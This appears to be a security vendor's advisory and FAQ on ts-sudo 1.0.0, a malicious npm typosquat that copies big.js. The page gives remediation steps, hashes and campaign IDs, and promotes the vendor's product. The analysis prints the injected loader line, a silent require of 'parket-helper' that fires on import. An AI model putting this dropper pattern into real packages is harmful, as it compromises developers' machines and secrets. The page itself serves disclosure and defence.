Which versions of ts-sudo are malicious?

The following npm versions of ts-sudo are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate ts-sudo if I installed it?

ts-sudo is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-sudo, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed ts-sudo — how do I know if it already compromised me?

If ts-sudo was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is ts-sudo part of a known attack campaign?

Yes — ts-sudo is associated with the IN-MAL-2026-007270, GHSA-9rpr-8v3f-2g5q campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find ts-sudo across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-sudo (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-sudo across your stack and pipelines.

Malicious package

ts-sudonpm

Malicious code in ts-sudo (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6323

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ts-sudo

What this malware does

The package publishes under the name ts-sudo but ships a verbatim copy of the big.js v7.0.1 source (big.js, big.mjs) along with big.js's description, repository URL (MikeMcl/big.js), and keyword set (bignumber, bigint). Inside the otherwise-legitimate big.js source, a loader has been injected at big.js:606: try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The same injection is present in big.mjs. This block fires automatically on require('ts-sudo') / import 'ts-sudo', silently invoking parket-helper.from_str() — a package the consumer never chose to depend on. parket-helper is pulled into the install tree via the declared dependency "server-parket": "^3.8.1" in package.json:58. The wrapper is benign-looking arithmetic code; the harmful behavior is delegated to the opaque dependency, and errors are swallowed to hide failures from the caller. The combination of (a) name/contents impersonation of a well-known library, (b) injected import-time call into an unrelated helper, and (c) reliance on a suspiciously-named transitive to deliver the payload is a textbook dropper pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

1a6e18b2d6bef04dd8377fac8d9b20e5545f1ec39875fdd308adf118b6f319d1

8235998221beb4f659577a4da5811961a4a2bf5524d0e7ec8912375a66ba78f4

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-sudo (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-sudo across your stack and pipelines.
If you installed it — respond
ts-sudo is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-sudo, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If ts-sudo was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-sudo before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ts-sudo on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007270GHSA-9rpr-8v3f-2g5q

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks ts-sudo-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring